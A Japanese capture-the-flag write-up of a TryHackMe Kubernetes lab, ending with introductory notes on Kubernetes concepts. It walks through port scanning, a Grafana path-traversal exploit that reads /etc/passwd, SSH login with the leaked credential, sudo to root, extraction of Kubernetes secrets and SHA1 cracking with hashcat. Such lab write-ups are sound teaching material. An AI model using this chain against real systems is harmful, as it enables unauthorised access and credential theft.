はじめに
この記事は、TryHackMeのwriteupとKubernetesにおけるBoot2Root手法の概要です。
Roomは、Kubernetes for Everyone、Difficulty(難易度)はMediumです。
このRoomでは、Kubernetes環境における攻撃手法とその概要について学ぶことができます。
Recon
Port Scan
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ sudo nmap -sC -sV -T4 [target_ip] -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-04 22:18 +0900
Nmap scan report for [target_ip]
Host is up (0.14s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 (RSA)
| 256 b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 (ECDSA)
|_ 256 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
5000/tcp open http Python http.server 3.5 - 3.10
|_http-title: Etch a Sketch
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 159.39 seconds
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ sudo nmap -sC -sV -T4 -p 6443 [target_ip] -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-04 22:22 +0900
Nmap scan report for [target_ip]
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
6443/tcp open ssl/http Golang net/http server
| ssl-cert: Subject: commonName=kubernetes/organizationName=kubernetes
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster, DNS:kubernetes.svc.cluster.local, DNS:localhost, IP Address:127.0.0.1, IP Address:10.49.190.89, IP Address:FE80:0:0:0:8F1:63FF:FE0F:71AF, IP Address:10.96.0.1
| Not valid before: 2026-05-04T13:13:00
|_Not valid after: 2027-05-04T13:13:00
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (application/json).
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: b9bbc85b-632b-4e03-92e0-34705fa61235
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Mon, 04 May 2026 13:22:53 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, LPDString, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 8c18fffa-7a9c-4df5-a12f-820ca7e368dc
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Mon, 04 May 2026 13:22:27 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Audit-Id: 8fbced5d-c5a2-4d74-aee0-d02910bd2c12
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Mon, 04 May 2026 13:22:29 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6443-TCP:V=7.99%T=SSL%I=7%D=5/4%Time=69F89D92%P=x86_64-pc-linux-gnu
SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(GetRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\n
SF:Audit-Id:\x208c18fffa-7a9c-4df5-a12f-820ca7e368dc\r\nCache-Control:\x20
SF:no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:\x20M
SF:on,\x2004\x20May\x202026\x2013:22:27\x20GMT\r\nContent-Length:\x20129\r
SF:\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"stat
SF:us\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized
SF:\",\"code\":401}\n")%r(HTTPOptions,14A,"HTTP/1\.0\x20401\x20Unauthorize
SF:d\r\nAudit-Id:\x208fbced5d-c5a2-4d74-aee0-d02910bd2c12\r\nCache-Control
SF::\x20no-cache,\x20private\r\nContent-Type:\x20application/json\r\nDate:
SF:\x20Mon,\x2004\x20May\x202026\x2013:22:29\x20GMT\r\nContent-Length:\x20
SF:129\r\n\r\n{\"kind\":\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\
SF:"status\":\"Failure\",\"message\":\"Unauthorized\",\"reason\":\"Unautho
SF:rized\",\"code\":401}\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20
SF:Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:
SF:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x2
SF:0Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCon
SF:nection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HT
SF:TP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20cha
SF:rset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Fou
SF:rOhFourRequest,14A,"HTTP/1\.0\x20401\x20Unauthorized\r\nAudit-Id:\x20b9
SF:bbc85b-632b-4e03-92e0-34705fa61235\r\nCache-Control:\x20no-cache,\x20pr
SF:ivate\r\nContent-Type:\x20application/json\r\nDate:\x20Mon,\x2004\x20Ma
SF:y\x202026\x2013:22:53\x20GMT\r\nContent-Length:\x20129\r\n\r\n{\"kind\"
SF::\"Status\",\"apiVersion\":\"v1\",\"metadata\":{},\"status\":\"Failure\
SF:",\"message\":\"Unauthorized\",\"reason\":\"Unauthorized\",\"code\":401
SF:}\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.48 seconds
上記のポートスキャン結果をもとに調査します。
また、上記には記載がありませんですが、3000ポートもHTTPとして空いています。Kubernetesはただでさえ、VMを立ち上げるだけでも調子が悪いので、割愛させてください。
Scanning
Gobuster
3000ポートが空いているため、ディレクトリ探索を行います。
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]:3000
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 0 / 1 (0.00%)
2026/05/04 22:32:07 the server returns a status code that matches the provided options for non existing urls. http://10.48.138.80:3000/389a0e30-9c2d-4f9f-a40c-0491fce82289 => 302 (redirect to /login) (Length: 29). Please exclude the response length or the status code or set the wildcard option.. To continue please exclude the status code or the length
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]:3000 -exclude-length 29
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] Exclude Length: 29
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 148 / 4613 (3.21%)[ERROR] error on word 102: timeout occurred during the request
[ERROR] error on word 123: timeout occurred during the request
[ERROR] error on word 13: timeout occurred during the request
[ERROR] error on word 103: timeout occurred during the request
Progress: 152 / 4613 (3.30%)[ERROR] error on word 14: timeout occurred during the request
[ERROR] error on word 1991: timeout occurred during the request
[ERROR] error on word 1990: timeout occurred during the request
.....
.....
.....
[ERROR] error on word cc: timeout occurred during the request
[ERROR] error on word ccbill: timeout occurred during the request
[ERROR] error on word ccount: timeout occurred during the request
[ERROR] error on word ccp14admin: timeout occurred during the request
Progress: 794 / 4613 (17.21%)[ERROR] error on word ccs: timeout occurred during the request
[ERROR] error on word cd: timeout occurred during the request
Progress: 797 / 4613 (17.28%)[ERROR] error on word cdrom: timeout occurred during the request
[ERROR] error on word centres: timeout occurred during the request
Progress: 2382 / 4613 (51.64%)[ERROR] error on word login: timeout occurred during the request
org (Status: 302) [Size: 24] [--> /]
public (Status: 302) [Size: 31] [--> /public/]
robots.txt (Status: 200) [Size: 26]
signup (Status: 200) [Size: 27985]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
現状、以下のディレクトリにアクセスできます。
org (Status: 302) [Size: 24] [--> /]
public (Status: 302) [Size: 31] [--> /public/]
robots.txt (Status: 200) [Size: 26]
signup (Status: 200) [Size: 27985]
ただ、どのディレクトリパスを使用しても、http://[target_ip]:3000/loginにリダイレクトされます。
また、5000ポートも空いているため、ディレクトリ探索を行います。
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]:5000
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
Progress: 65 / 4613 (1.41%)[ERROR] error on word _old: timeout occurred during the request
[ERROR] error on word _mygallery: timeout occurred during the request
[ERROR] error on word _overlay: timeout occurred during the request
[ERROR] error on word _net: timeout occurred during the request
.....
.....
.....
[ERROR] error on word beta: timeout occurred during the request
[ERROR] error on word bfc: timeout occurred during the request
console (Status: 200) [Size: 1909]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
特になさそうです。
ただ、http://[target_ip]:5000/static/css/main.cssを閲覧すると興味深いものがあります。
https://pastebin.com/cPs69B0yというURLがあり、アクセスすると以下のようなエンコードされた文字列が存在する
OZQWO4TBNZ2A====
そのため、これがBase32だったので、デコードしました。
OZQWO4TBNZ2A==== -> vagrant
すると、ユーザー名らしきものが見つかりました。
Exploitation
http://[target_ip]:3000/loginにリダイレクトされる際、Grafanaのログインページに遷移します。そこで、Grafanaのバージョンが記載されており、調べによると、ディレクトリトラバーサル攻撃による任意のファイルの読み出しが可能になっているそうです。
そこで、上記のスクリプトを使用し、/etc/passwdの読み出しが可能かを検証したところ、成功しました。
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ python3 50581.py -H http://[target_ip]:3000
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:[leaked_password]:/home/grafana:/sbin/nologin
よって、[leaked_password]により、実際に使用されていそうなパスワードを取得できました。
Find the username?
Answer: vagrant
Find the password
Answer: [leaked_password]
このことから、ポート22のSSHが空いているため、アクセスを試みます。
┌──(rikuxx㉿kali)-[~]
└─$ ssh vagrant@[target_ip]
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
vagrant@[target_ip]'s password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 2.0
248 packages can be updated.
192 updates are security updates.
Last login: Thu Feb 10 18:58:49 2022 from 10.0.2.2
vagrant@johnny:~$
すると、SSHでログインに成功しました。
Privilege Escalation
特権ユーザーで実行できるプログラムと禁止されているプログラムを確認します。
vagrant@johnny:~$ sudo -l
Matching Defaults entries for vagrant on johnny:
env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User vagrant may run the following commands on johnny:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL
すると、何も制限がないため、以下のコマンドから、sudoの-iで再度シェルを実行することで、一発で権限昇格します。
vagrant@johnny:~$ sudo -i
Kubernetes Research
Kubernetesの調査方法がわからないので、他のwriteupを参考に解きました。
ps auxを使用し、どんなプロセスが動いているかを確認します。
root@johnny:/# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
.....
.....
kube-sc+ 1644 1.1 2.8 754040 13460 ? Sl 14:50 0:15 /var/lib/k0s/bin/kube-scheduler --kubeconfig=/var/lib/k0s/pki/scheduler.conf --v=1 --bi
vagrant 1653 2.5 0.3 30096 1812 pts/0 Dl+ 14:50 0:33 /usr/local/bin/python3 /home/pyuser/main.py
vagrant 1710 0.0 0.0 76776 0 ? Ss 14:52 0:00 /lib/systemd/systemd --user
vagrant 1729 0.0 0.0 193740 0 ? S 14:52 0:00 (sd-pam)
root 1790 1.4 0.5 175760 2764 ? D 14:53 0:16 /usr/bin/python3 /usr/lib/ubuntu-release-upgrader/check-new-release -q
root 1860 0.0 0.0 105684 20 ? Ss 14:53 0:00 sshd: vagrant [priv]
vagrant 1923 0.0 0.1 107984 628 ? R 14:54 0:00 sshd: vagrant@pts/0
vagrant 1924 0.0 0.0 21472 40 pts/0 Ss 14:54 0:00 -bash
root 1934 0.0 0.0 0 0 ? I 14:54 0:00 [kworker/u4:0]
kube-ap+ 1942 2.9 9.8 768064 46372 ? Sl 14:55 0:28 /var/lib/k0s/bin/kube-controller-manager --authentication-kubeconfig=/var/lib/k0s/pki/c
最後のログを見ると、k0sというKubernetesのセットアップから構築まで全てCLIで操作できるものがあるらしいです。
これを使用することで、kubectlが使えるので調査を進めることができます。
Kubernetesは、クラスターというコンテナ化されたアプリケーションを実行するノードの集合体があります。
また、同一の物理クラスターを基盤とする複数の仮想クラスターがあり、これらの仮想クラスターは名前空間を利用します。
そのため、今回、クレデンシャル情報を調べていきたいので、secretというシークレットが格納されているクラスターの調査を進めます。
以下のコマンドを使用します。
$ k0s kubectl get secret
実際に実行します。
root@johnny:~# k0s kubectl get secret
NAME TYPE DATA AGE
default-token-nhwb5 kubernetes.io/service-account-token 3 4y83d
k8s.authentication Opaque 1 4y83d
すると、中にはk8s.authenticationといういかにも認証で使用しそうなクラスターがあることに気づきます。
クラスターの中身を見るために以下のようなコマンドを使用します。
$ k0s kubectl edit secret k8s.authentication
実際に実行します。すると以下のようなデータを取得が可能です。
#uthentication Please edit the object below. Lines beginning with a '#' will be ignored,
# and an empty file will abort the edit. If an error occurs while saving this file will be
# reopened with the relevant failures.
#
apiVersion: v1
data:
id: VEhNe3llc190aGVyZV8kc19ub18kZWNyZXR9
kind: Secret
metadata:
creationTimestamp: "2022-02-10T18:58:02Z"
name: k8s.authentication
namespace: default
resourceVersion: "515"
uid: 416e4783-03a8-4f92-8e91-8cbc491bf727
type: Opaque
~
~
すると、idにエンコードされた文字列が存在します。
これをbase64でデコードすることで、フラグを取得することができます。
$ echo "VEhNe3llc190aGVyZV8kc19ub18kZWNyZXR9" | base64 -d
What secret did you find?
Answer: THM{XXXXXXXXXXXXXXXXXX}
さらに調査を進めます。Kubernetesには、Podという作成および管理できる最小の展開可能なコンピューティングユニット(一つのコンテナ、または複数のコンテナ)があります。
これについてもkubectlで調べることができます。
以下のようなコマンドを使用し、調査しました。
root@johnny:~# k0s kubectl get pods
No resources found in default namespace.
どうやら、以下の記事からデフォルトの名前空間以外を列挙してくれないようです。
一度、すべてのpodsを列挙を試みます。以下のコマンドを実行しました。
root@johnny:~# k0s kubectl get pods -A
NAMESPACE NAME READY STATUS RESTARTS AGE
internship internship-job-5drbm 0/1 Completed 0 4y83d
kube-system kube-router-vsq85 1/1 Running 0 4y83d
kube-system metrics-server-74c967d8d4-pvv8l 1/1 Running 0 4y83d
kube-system kube-api 1/1 Running 0 4y83d
kube-system coredns-6d9f49dcbb-9vbff 1/1 Running 0 4y83d
kube-system kube-proxy-jws4q 1/1 Running 0 4y83d
すると、4y83dという名前空間で、いくつかのpodsが動いていることが確認できました。
今回のフラグを取得の問題として以下のことが書かれています。
The Pod also shares storage. Enumerate the pod-shared storage location and find the flag!
Pod はストレージも 共有しています。Podが共有しているストレージの場所を列挙し、フラグを見つけてください。(日本語訳)
つまり、Podの中でも共有されていそうなものを探さなければいけません。そこで、kube-apiは共有ストレージとして使用されていそうなことから、これ対象に調査します。
以下のコマンドを実行し、Podの動的検証をしようと試みましたが、エラーになりました。
root@johnny:~# k0s kubectl exec -it kube-api --namespace=kube-system -- /bin/bash
Error from server: error dialing backend: dial tcp 10.0.2.15:10250: i/o timeout
ここで、手詰まり感を感じたので、先ほどの他のwriteupも参照したところ、どうやら、丹念に探さないと出てこなさそうなものがありました。
/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokesというなんとも仕掛けた感のあるフォルダが見つかりました。
root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# ls -al
total 28
drwxr-xr-x 3 root root 4096 Feb 7 2022 .
drwxr-xr-x 3 root root 4096 Feb 7 2022 ..
-rw-r--r-- 1 root root 1284 Feb 7 2022 crush.jokes
-rw-r--r-- 1 root root 718 Feb 7 2022 dad.jokes
drwxr-xr-x 8 root root 4096 Feb 7 2022 .git
-rw-r--r-- 1 root root 997 Feb 7 2022 mom.jokes
-rw-r--r-- 1 root root 1160 Feb 7 2022 programming.jokes
そして、これらを見てもフラグがないので、.gitからログを遡ることにしました。
以下を使用し、いい感じに表示させます。
$ git log pretty=oneline
root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# git log --pretty=oneline
224b741fa904ee98c75913eafbefa12ac820659f (HEAD -> master, origin/master, origin/HEAD) feat: add programming.jokes
22cd540f3df22a2f373d95e145056d5370c058f5 feat: add crush.jokes
4b2c2d74b31d922252368c112a3907c5c1cf1ba3 feat: add cold.joke
2be20457c290fa1e8cc8d18cd5b546cec474691c feat: add mom.jokes
cc342469e2a4894e34a3e6cf3c7e63603bd4753e feat: add dad.jokes
すると、ディレクトリに存在しないcold.jokeというファイルがあったことを見つけました。
実際に、見てみるとフラグが入っていました。
root@johnny:/var/lib/k0s/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/38/fs/home/ubuntu/jokes# git show 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
commit 4b2c2d74b31d922252368c112a3907c5c1cf1ba3
Author: Aju100 <ajutamang10@outlook.com>
Date: Mon Feb 7 22:37:13 2022 +0545
feat: add cold.joke
diff --git a/king.jokes b/king.jokes
new file mode 100644
index 0000000..1b7d703
--- /dev/null
+++ b/king.jokes
@@ -0,0 +1 @@
+THM{YYYYYYYYYYYYYYYYYYYYYY}
\ No newline at end of file
What is the volume flag?
Answer: THM{YYYYYYYYYYYYYYYYYYYYYY}
また、最後のフラグを取得するために、以下のコマンドを実行しました。
root@johnny:~# k0s kubectl get job -n internship
NAME COMPLETIONS DURATION AGE
internship-job 1/1 3m10s 4y83d
すると、実際に存在していたので、JSONで出力させます。
root@johnny:~# k0s kubectl get job -n internship -o json
{
"apiVersion": "v1",
"items": [
{
"apiVersion": "batch/v1",
"kind": "Job",
"metadata": {
"annotations": {
"batch.kubernetes.io/job-tracking": ""
},
"creationTimestamp": "2022-02-10T18:55:33Z",
"generation": 1,
"labels": {
"controller-uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d",
"job-name": "internship-job"
},
"name": "internship-job",
"namespace": "internship",
"resourceVersion": "579",
"uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d"
},
"spec": {
"backoffLimit": 6,
"completionMode": "NonIndexed",
"completions": 1,
"parallelism": 1,
"selector": {
"matchLabels": {
"controller-uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d"
}
},
"suspend": false,
"template": {
"metadata": {
"creationTimestamp": null,
"labels": {
"controller-uid": "11cf55dc-7903-4b78-b9d3-62cf241ad26d",
"job-name": "internship-job"
}
},
"spec": {
"containers": [
{
"command": [
"echo",
"26c3d1c068e7e01599c3612447410b5e56c779f1"
],
"image": "busybox",
"imagePullPolicy": "Always",
"name": "internship-job",
"resources": {},
"terminationMessagePath": "/dev/termination-log",
"terminationMessagePolicy": "File"
}
],
"dnsPolicy": "ClusterFirst",
"restartPolicy": "Never",
"schedulerName": "default-scheduler",
"securityContext": {},
"terminationGracePeriodSeconds": 30
}
}
},
"status": {
"completionTime": "2022-02-10T18:59:26Z",
"conditions": [
{
"lastProbeTime": "2022-02-10T18:59:26Z",
"lastTransitionTime": "2022-02-10T18:59:26Z",
"status": "True",
"type": "Complete"
}
],
"startTime": "2022-02-10T18:56:16Z",
"succeeded": 1,
"uncountedTerminatedPods": {}
}
}
],
"kind": "List",
"metadata": {
"resourceVersion": "",
"selfLink": ""
}
}
すると、謎のbusyboxというイメージがあり、その周辺にあるハッシュを解読することでFANG企業の面接を成功するためのシークレットを知ることができます。
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ echo "26c3d1c068e7e01599c3612447410b5e56c779f1" > hash.txt
SHA1のハッシュなので、その趣旨をセットして、hashcatでハッシュをクラックします。
┌──(rikuxx㉿kali)-[~/tryhackme/Kubernetes_for_Everyone]
└─$ hashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-skylake-avx512-AMD Ryzen 5 PRO 8640HS w/ Radeon 760M Graphics, 4779/9558 MB (2048 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (5305 MB free)
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
26c3d1c068e7e01599c3612447410b5e56c779f1:[Secret_Word]
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 100 (SHA1)
Hash.Target......: 26c3d1c068e7e01599c3612447410b5e56c779f1
Time.Started.....: Tue May 5 01:54:32 2026 (0 secs)
Time.Estimated...: Tue May 5 01:54:32 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 6606.5 kH/s (0.31ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 12288/14344385 (0.09%)
Rejected.........: 0/12288 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> hawkeye
Hardware.Mon.#01.: Temp: 69c Util: 10%
Started: Tue May 5 01:54:22 2026
Stopped: Tue May 5 01:54:33 2026
よって、ハッシュのクラックに成功しました。
What's the secret to the FANG interview?
Answer: [Secret_Word]
終わり
今回のラボはペンテストラボでは珍しいKubernetesの問題について解きました。マジな話、k8sのコンテナの立ち上がりが遅かったり、ポートスキャンだけでサービス停止したりなどで、再起動の繰り返しで、約8~9時間ぐらい掛かりました。
k8sは面白いけど、CTFとしては重すぎました。その分、Kubernetesに関するペンテストの知識は増えたので、結果として良かったなと思いました。
ゴールデンウェークで技術に関して、一番学びがあったのはこれであろうと思いました。
ご参考になると幸いです。
Kubernetesにおけるペネトレーションテスト手法
ここでは、自分がkubernetesに関してのペンテスト手法やkubectlについて知識がなかったので、Tipsのような感じで簡単なペンテスト手法をご紹介程度にまとめておきます。
Tips
Kubernetesとはなんぞや?
Kubernetesについて
KubernetesはK8sとしても知られており、デプロイやスケーリングを自動化したり、コンテナ化されたアプリケーションを管理したりするための、オープンソースのシステムです。
管理や検出を容易にするため、アプリケーションを論理的な単位に分割し、コンテナをグルーピングします。KubernetesはGoogleでの15年にわたる経験を基に構築されており、コミュニティのアイディアや慣習との最善の組み合わせを取っています。
引用: https://kubernetes.io/ja/
クラスタについて
Kubernetes (k8s) クラスタは、コンテナ化されたアプリケーションを実行するノードの集合体です。オンプレミス、クラウド、物理/仮想マシン等、複数の環境をまたいでコンテナを実行します。Kubernetes を実行しているときは、クラスタが実行されています。
引用: https://www.redhat.com/ja/topics/containers/what-is-a-kubernetes-cluster
Podについて
Podは、Kubernetes内で作成・管理できるコンピューティングの最小のデプロイ可能なユニットです。
Pod(Podという名前は、たとえばクジラの群れ(pod of whales)やえんどう豆のさや(pea pod)などの表現と同じような意味です)は、1つまたは複数のコンテナのグループであり、ストレージやネットワークの共有リソースを持ち、コンテナの実行方法に関する仕様を持っています。同じPodに含まれるリソースは、常に同じ場所で同時にスケジューリングされ、共有されたコンテキストの中で実行されます。Podはアプリケーションに特化した「論理的なホスト」をモデル化します。つまり、1つのPod内には、1つまたは複数の比較的密に結合されたアプリケーションコンテナが含まれます。クラウド外の文脈で説明すると、アプリケーションが同じ物理ホストや同じバーチャルマシンで実行されることが、クラウドアプリケーションの場合には同じ論理ホスト上で実行されることに相当します。
引用: https://kubernetes.io/ja/docs/concepts/workloads/pods/
基本的には、Kubernetesは一つのクラスタの中にPodが大量にいるイメージです。
その結果として、大規模なスケーリングができるわけです。
かなり考え方的には、これに近いかなと思います。
- クラスタ = サービス環境
- Pod = そのサービス環境に存在する各DB、サーバー、マシンなど
結構、リソースの分離において、抽象と具体がしっかりしている印象があります。
kubectlってなに
Kubernetesが提供する、 kubernetes APIを使用してKubernetesクラスターのコントロールプレーンと通信するためのコマンドラインツールです。そのツールの名前は、kubectl です。kubectlコマンドラインツールを使うと、Kubernetesクラスターを制御できます。
引用: https://kubernetes.io/ja/docs/reference/kubectl (一部変更)
つまり、Kubernetes環境に対してSSHとかでアクセスして、わざわざ設定しなくても、kubectlですべての操作が可能になっています。
詳しくはここに操作一覧が書かれています。
k0sってなんですか?
